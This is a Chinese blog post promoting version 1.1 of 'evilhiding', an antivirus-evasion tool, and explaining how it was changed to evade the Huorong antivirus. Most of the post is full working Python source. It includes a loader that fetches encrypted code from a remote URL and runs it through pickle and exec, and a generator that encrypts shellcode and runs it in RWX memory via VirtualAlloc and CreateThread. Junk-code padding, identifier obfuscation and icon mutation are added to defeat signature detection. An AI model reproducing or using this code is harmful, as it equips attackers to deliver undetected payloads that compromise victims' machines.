记一次有趣的免杀探索

前记

evilhiding昨天被提issue不能绕过火绒了，于是今天更新了evilhiding v1.1，已经可以继续免杀了。

期待各位的stars，项目地址如下：

https://github.com/coleak2021/evilhiding

查杀排查

直接python运行b.py发现未被查杀，且可正常上线，但是通过pyinstaller打包为exe后发现被火绒查杀，因此打算对源代码进行修改来绕过火绒

于是对b.py关键部分分别打包检查，发现均未被查杀

加载器

import pickle,base64,requests,ctypes
from cryptography.fernet import Fernet

url=''
def O7867890(sectr):
    KEY=b'Lo8QurfIObo62aKQsQjnzAocsnrrIkTsJewRJLLKAsA='
    fernet = Fernet(KEY)
    destr = fernet.decrypt(sectr).decode()
    class A(object):
        def __reduce__(self):
            return (exec, (destr,))

    ret = pickle.dumps(A())
    ret_base64 = base64.b64encode(ret)
    ret_decode = base64.b64decode(ret_base64)
    pickle.loads(ret_decode)

执行器

def O1674418():
    try:
        r=requests.get(url)
        a = r.status_code
    except:
        a = 404
        pass

    if a == 200:
        O7867890(r.text)
    else:
        pass

if __name__ == '__main__':
    exec(t1)
    exec(t2)
    O1674418()

花指令

t2 ="""
import base64

st= 'wo gan jue wo ma shang jiu yao bei defender gan diao a ba a bachonogchong chongcong!'.encode()
res= base64.b64encode(st)
aaa= res.decode()
res= base64.b64decode(res)
bbb= res.decode()
   """

t1 ="""
import random

def O4402217(test_arr, low, high):
   i = (low - 1)  
   pivot = test_arr[high]

   for j in range(low, high):
       if test_arr[j] <= pivot:
           i = i + 1
           test_arr[i], test_arr[j] = test_arr[j], test_arr[i]

   test_arr[i + 1], test_arr[high] = test_arr[high], test_arr[i + 1]
   return i + 1


def O7313740(test_arr, low, high):
   if low < high:
       pi = O4402217(test_arr, low, high)
       O7313740(test_arr, low, pi - 1)
       O7313740(test_arr, pi + 1, high)


test_arr= []
for i in range(59999):
   test_arr.append(random.random())
n= len(test_arr)
O7313740(test_arr,0, n - 1)
   """

得出结论：各部分可以分别正常打包，但是火绒对整体进行了特征提取，因此我们只需要将文件结构做修改即可

源码修改

经过测试，最终对b.py修改为如下，此时打包为exe可绕过火绒正常上线

from cryptography.fernet import Fernet
import pickle,base64,requests,ctypes
import random

url=''
def O7867890(sectr):
    KEY=b''
    fernet = Fernet(KEY)
    destr = fernet.decrypt(sectr).decode()
    class A(object):
        def __reduce__(self):
            return (exec, (destr,))
        def say_hello(self):
            exec(bbb)
    a=A()
    a.say_hello()
    ret = pickle.dumps(a)
    ret_base64 = base64.b64encode(ret)
    ret_decode = base64.b64decode(ret_base64)
    pickle.loads(ret_decode)

bbb ="""
import base64
st= 'cccccccccccccccccccooooooooooollllllllllllleeeeeeeeeeeeaaaaaaaaaaaakkkkkkkkk'.encode()
res= base64.b64encode(st)
aaa= res.decode()
res= base64.b64decode(res)
bbb= res.decode()
   """

def O1674418():
    try:
        r=requests.get(url)
        a = r.status_code
    except:
        a = 404
        pass

    if a == 200:
        O7867890(r.text)
    else:
        pass

if __name__ == '__main__':
    O1674418()

因此，对main.py生成器修改如下

# -*- coding: utf-8 -*-

import base64
import re,os,time
from cryptography.fernet import Fernet

shellcode = b""
url=''
key = Fernet.generate_key()
fernet = Fernet(key)
enstr = fernet.encrypt(shellcode)
key2 = Fernet.generate_key()
fernet2 = Fernet(key2)
a=f'''
import ctypes
from cryptography.fernet import Fernet
KEY={key}
fernet=Fernet(KEY)
shellcode=fernet.decrypt({enstr})

shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
'''

cccc=f'''
from cryptography.fernet import Fernet
import pickle,base64,requests,ctypes
import random
url=f'{url}'
a=[]
class B():
    def cc(self):
        for i in range(5):
            a.append(i)

def O7303771(sectr):
    global destr
    KEY={key2}
    fernet = Fernet(KEY)
    destr = fernet.decrypt(sectr).decode()
    aaa(destr)

def aaa(destr):
    class A(object):
        def __reduce__(self):
            return (exec, (destr,))
        def O6294286(self):
            exec(bbb)
    a=A()
    a.O6294286()
    ret = pickle.dumps(a)
    ret_base64 = base64.b64encode(ret)
    ret_decode = base64.b64decode(ret_base64)
    pickle.loads(ret_decode)

bbb ="""
for i in range(100):
    aaa=B()
    aaa.cc()
   """

def O0135984():
    try:
        r=requests.get(url)
        a = r.status_code
    except:
        a = 404
        pass

    if a == 200:
        O7303771(r.text)
    else:
        pass
if __name__ == '__main__':
    O0135984()
'''

def hunxiao():
    openfile = 'content.txt'
    text = open(openfile, encoding='utf-8').read()
    wd_df = re.findall("def (.*?)\\(", text)
    wd_df = list(set(wd_df))
    for i in wd_df:
        if i[0:2] == "__":
            wd_df.remove(i)
        if i == 'super':
            wd_df.remove(i)
    idlist = []
    for i in wd_df:
        idlist.append('O' + str(hash(i))[-7:])

    cs = len(wd_df)
    if cs == len(set(idlist)):
        while cs > 0:
            cs -= 1
            text = text.replace(wd_df[cs] + '(', idlist[cs] + '(')
            text = text.replace('target=' + wd_df[cs], 'target=' + idlist[cs])
            text = text.replace('global ' + wd_df[cs], 'global ' + idlist[cs])
            text = text.replace(', ' + wd_df[cs], ', ' + idlist[cs])
    else:
        print('hash repeat')

    file_save = open('b.py', 'w', encoding='utf-8')
    file_save.write(text)
    file_save.close()

with open('content.txt', 'bw') as f:
    f.write(cccc.encode())
    hunxiao()

with open('a.txt', 'bw') as f:
    f.write(fernet2.encrypt(a.encode()))

with open('content.txt', 'br') as f:
    content=base64.b64encode(f.read())

b = f'''
from cryptography.fernet import Fernet
import pickle,base64,requests,ctypes
import random
cccc={content}
exec(base64.b64decode(cccc).decode())
'''

with open('b.py', 'w', encoding='utf-8') as f:
    f.write(b)

iconame=f'{int (time.time() *1000)}.ico'
with open('coleak.ico',"br") as f:
    cont=f.read()
with open(f'{iconame}',"bw") as f:
    cont+=iconame.encode()
    f.write(cont)
with open('create.py',"br") as f:
    createit=f.read()
exec(createit)

免杀效果测试